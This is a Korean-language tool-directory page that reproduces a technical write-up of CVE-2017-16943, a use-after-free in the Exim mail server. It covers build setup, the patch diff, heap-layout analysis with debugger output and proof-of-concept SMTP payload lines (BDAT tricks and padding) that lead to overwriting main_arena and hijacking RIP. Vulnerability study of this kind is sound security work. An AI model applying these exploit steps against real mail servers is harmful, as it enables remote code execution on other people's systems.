Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-16943 — CVE-2017-16943에 대한 기술 분석 및 개념 증명 익스플로잇. Exim MTA의 use-after-free 취약점과 힙 조작 및 RIP 하이재킹 워크스루를 포함합니다. | Kitploit
도구/GitHubGitHub/beraphin/cve-2017-16943
Memory ForensicsVulnerability AnalysisExploitationDebuggersLearning & EducationBinary Exploitation
GitHubberaphin/cve-2017-16943

CVE-2017-16943

CVE-2017-16943에 대한 기술 분석 및 개념 증명 익스플로잇. Exim MTA의 use-after-free 취약점과 힙 조작 및 RIP 하이재킹 워크스루를 포함합니다.

저장소 보기
6년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-16943

환경 구축

root@kitploit:~
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile

Makefile의 경로 변수와 사용자 이름 수정

root@kitploit:~
cd ..
make -j8
sudo make install

설치 후 configure에서 accept hosts = : 를 accept hosts = *로 변경 실행:

root@kitploit:~
exim -bdf -d-receive

취약점 분석

해당 취약점은 UAF(Use-After-Free)로, receive.c의 receive_msg 함수에서 발생합니다. 이 함수는 클라이언트의 입력을 수신하는 역할을 합니다. 패치 기록을 확인해 보겠습니다:

root@kitploit:~
 src/src/receive.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
   (and sometimes lunatic messages can have ones that are 100s of K long) we
   call store_release() for strings that have been copied - if the string is at
   the start of a block (and therefore the only thing in it, because we aren't
-  doing any other gets), the block gets freed. We can only do this because we
-  know there are no other calls to store_get() going on. */
+  doing any other gets), the block gets freed. We can only do this release if
+  there were no allocations since the once that we want to free. */
 
   if (ptr >= header_size - 4)
     {
@@ -1820,9 +1820,10 @@ for (;;)
     header_size *= 2;
     if (!store_extend(next->text, oldsize, header_size))
       {
+      BOOL release_ok = store_last_get[store_pool] == next->text;
       uschar *newtext = store_get(header_size);
       memcpy(newtext, next->text, ptr);
-      store_release(next->text);
+      if (release_ok) store_release(next->text);
       next->text = newtext;
       }
     }

먼저 몇 가지 전역 변수의 역할을 명확히 하겠습니다:

root@kitploit:~
current_block: 현재 storeblock, 다음 store_get_3 호출 시 이 storeblock에서 먼저 여유 영역을 찾음
next_yield: current_block 내 여유 블록의 시작 주소를 가리킴, storeblock은 일반적으로 상반부가 사용되고 하반부가 비어 있음
yield_length: next_yield의 길이

meh의 PoC 분석을 통해 패치되지 않은 프로그램에서 다음과 같은 힙 레이아웃 과정을 통해 UAF를 트리거할 수 있음을 알 수 있습니다: 먼저 receive_msg 함수에서 next->text가 storeblock의 시작 버퍼가 되도록 합니다: 1

그런 다음 BDAT 명령을 통해 해당 text 아래에 버퍼를 할당합니다. 왜 BDAT 명령을 사용할까요? 사실 auth plain이나 보이지 않는 문자로 구성된 잘못된 명령도 text 아래에 버퍼를 할당할 수 있지만, 다른 명령은 receive_msg 함수가 종료되게 합니다. 다시 receive_msg에 진입하면 next->text가 다른 영역을 가리키게 되어 취약점을 트리거할 수 없습니다. 반면 BDAT 명령은 현재 receive_msg 함수가 종료되지 않게 하며, 이 점이 매우 중요합니다. 2

그런 다음 계속해서 문자를 전송하여 next_text를 채웁니다(초기값 0x100). 그러면 프로그램이 취약점 지점에 도달합니다. store_extend에서 BDAT 버퍼로 인해 확장이 불가능함을 발견하면 store_get을 실행하여 next_yield가 가리키는 영역을 할당받고, store_release 함수를 호출합니다. 해당 함수에서는 release 인자가 storeblock의 시작인지만 확인하고, 그 뒤에 다른 버퍼가 있는지는 확인하지 않고 바로 storeblock을 해제합니다. 이로 인해 store_get이 반환한 주소가 여전히 current_block 내부에 있음에도 불구하고 current_block이 해제되어 UAF가 발생합니다.

RIP 탈취

여기서는 PoC 코드와 함께 RIP를 탈취하는 방법을 단계별로 설명합니다.

root@kitploit:~
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')

먼저 많은 데이터를 전송하는데, 그 목적은 yield_length가 0x130보다 작고 0x30보다 크게 만드는 것입니다. 왜 이렇게 해야 할까요? receive_msg 함수의 시작 부분을 살펴보겠습니다:

root@kitploit:~
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705: 
1706: /* Control block for the next header to be read. */
1707: 
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...

next->text를 할당하기 전에 sizeof(header_line) 크기의 버퍼 2개를 먼저 할당하는 것을 볼 수 있습니다. 이 크기는 0x18입니다. 따라서 이 두 개의 0x18 크기 블록을 할당한 후 남은 yield_length가 0x100보다 작으면, store_get에서 next->text를 할당할 때 새로운 storeblock을 할당하고, next->text가 해당 storeblock의 시작 부분에 위치하게 됩니다.

그런 다음 BDAT 명령을 호출합니다.

root@kitploit:~
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')

이 명령에 보이지 않는 문자가 포함되어 있으면 store_get이 호출되어 오류 정보를 저장할 버퍼를 할당합니다:

root@kitploit:~
pwndbg> hexdump 0x71d0e0 
+0000 0x71d0e0  42 44 41 54  20 5c 33 33  35 00 20 63  68 75 6e 6b  │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0  35 30 31 20  6d 69 73 73  69 6e 67 20  73 69 7a 65  │501.│miss│ing.│size│
+0020 0x71d100  20 66 6f 72  20 42 44 41  54 20 63 6f  6d 6d 61 6e  │.for│.BDA│T.co│mman│
+0030 0x71d110  64 0a 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │d...│....│....│....│

(잘못된 명령에 보이지 않는 문자가 포함된 경우에도 추가 힙 청크 할당이 발생합니다.)

이제 계속해서 문자를 전송합니다:

root@kitploit:~
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))

그러면 바이트 단위로 next->text에 수신된 문자가 채워집니다. 0x100의 여유 영역이 가득 차면 취약점 코드가 실행되어 next->text의 크기를 확장합니다. 먼저 store_extend(next->text, oldsize, header_size)를 호출하여 직접 크기 확장을 시도합니다:

root@kitploit:~
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268:   int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272: 
273: if (rounded_oldsize % alignment != 0)
274:   rounded_oldsize += alignment - (rounded_oldsize % alignment);
275: 
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277:     inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278:   return FALSE;
...

주요 판단은 276~277행입니다. 첫 번째 조건은 확장하려는 포인터 ptr 바로 뒤에 next_yield가 있는지 확인합니다. 두 번째 조건은 next_yield의 크기(yield_length)를 더한 값이 충분한지 확인합니다. 당연히 첫 번째 조건이 충족되지 않습니다. next->text 뒤에 BDAT 버퍼가 있고, 그 뒤에 next_yield가 있기 때문입니다.

그런 다음 store_get을 통해 새로운 블록을 할당받는데, 이 블록은 next_yield에 할당됩니다. 이어서 store_release를 호출하여 원래 next_text를 해제합니다. 여기서의 판단 로직을 주목하세요:

root@kitploit:~
File: store.c
448: void
449: store_release_3(void *block, const char *filename, int linenumber)
450: {
451: storeblock *b;
452: 
453: /* It will never be the first block, so no need to check that. */
454: 
455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
456:   {
457:   storeblock *bb = b->next;
458:   if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
459:     {
...
482:     free(bb);
483:     return;
484:     }
485:   }
486: }
487: 

프로그램은 chainbase에서 storeblock의 next 포인터를 따라가며, 해제할 블록이 어떤 storeblock의 시작 부분에 있는지(458행 두 번째 조건) 확인합니다. 해당 조건이 일치하면 해당 storeblock이 free됩니다. 그러나 이때 current_block은 이 힙 청크를 가리키고 있고, 새로운 next_text도 이 힙 청크 내부에 있으므로 UAF가 발생합니다. 힙 청크가 해제되면 current_block은 unsorted bin에 들어갑니다:

root@kitploit:~
pwndbg> tel &current_block
00:0000│   0x6e8ec0 (current_block) —▸ 0x71cfd0 —▸ 0x7ffff69abb78 (main_arena+88) —▸ 0x725020 ◂— 0x0
01:0008│   0x6e8ec8 (current_block+8) —▸ 0x723010 ◂— 0x0
02:0010│   0x6e8ed0 (current_block+16) ◂— 0x0
... ↓
04:0020│   0x6e8ee0 (chainbase) —▸ 0x70ff80 ◂— 0x0
05:0028│   0x6e8ee8 (chainbase+8) —▸ 0x6f3b30 —▸ 0x6f8cb0 —▸ 0x71eff0 —▸ 0x723010 ◂— ...
06:0030│   0x6e8ef0 (chainbase+16) ◂— 0x0
... ↓
pwndbg> 

이때 main_arena가 storeblock 체인에 추가됩니다.

문자가 계속 입력되면서 원래의 next->text는 지속적으로 store_extend를 호출하여 크기를 확장합니다. 비록 current_block이 이미 해제되었지만, next_yield는 여전히 current_block 내부를 가리키고 있으므로 next->text는 store_extend를 통해 current_block 전체를 채울 때까지 확장을 계속합니다. 마지막으로 더 이상 확장할 수 없게 되면 다시 store_get을 호출하여 새로운 힙 청크를 획득합니다:

root@kitploit:~
File: store.c
128: void *
129: store_get_3(int size, const char *filename, int linenumber)
130: {
...
137: if (size % alignment != 0) size += alignment - (size % alignment);
138: 
139: /* If there isn't room in the current block, get a new one. The minimum
140: size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
141: these functions are mostly called for small amounts of store. */
142: 
143: if (size > yield_length[store_pool])
144:   {
145:   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
146:   int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
147:   storeblock * newblock = NULL;
148: 
149:   /* Sometimes store_reset() may leave a block for us; check if we can use it */
150: 
151:   if (  (newblock = current_block[store_pool])
152:      && (newblock = newblock->next)
153:      && newblock->length < length
154:      )
155:     {
156:     /* Give up on this block, because it's too small */
157:     store_free(newblock);
158:     newblock = NULL;
159:     } 
...

151~153행에서 프로그램이 current_block->next를 가져와서 이 힙 청크가 할당할 만큼 충분한지 판단하는 것을 볼 수 있습니다. 충분하지 않으면 해당 청크를 free합니다. 현재 current_block은 unsorted bin에 있고, current_block->next는 main_arena를 가리키므로 마지막 조건이 충족되지 않아 newblock은 main_arena가 됩니다.

root@kitploit:~
File: store.c
176:   current_block[store_pool] = newblock;
177:   yield_length[store_pool] = newblock->length;
178:   next_yield[store_pool] =
179:     (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
180:   (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
181:   }
...
186: store_last_get[store_pool] = next_yield[store_pool];
...
211: return store_last_get[store_pool];

이때 프로그램은 main_arena를 새로운 버퍼로 직접 반환하고, 이어서 1824행에서 원래 힙 청크의 내용을 새로운 힙 청크로 복사하여 main_arena를 덮어씁니다.

root@kitploit:~
File: receive.c
1816:   if (ptr >= header_size - 4)
1817:     {
1818:     int oldsize = header_size;
1819:     /* header_size += 256; */
1820:     header_size *= 2;
1821:     if (!store_extend(next->text, oldsize, header_size))
1822:       {
1823:       uschar *newtext = store_get(header_size);
1824:       memcpy(newtext, next->text, ptr);
1825:       store_release(next->text);
1826:       next->text = newtext;
1827:       }
1828:     }

이번 덮어쓰기는 직접 free_got를 덮어쓰게 되므로, 이후 적절히 조작하여 RIP를 탈취할 수 있습니다.

Reference

https://bugs.exim.org/show_bug.cgi?id=2199

https://paper.seebug.org/469/

도구 다운로드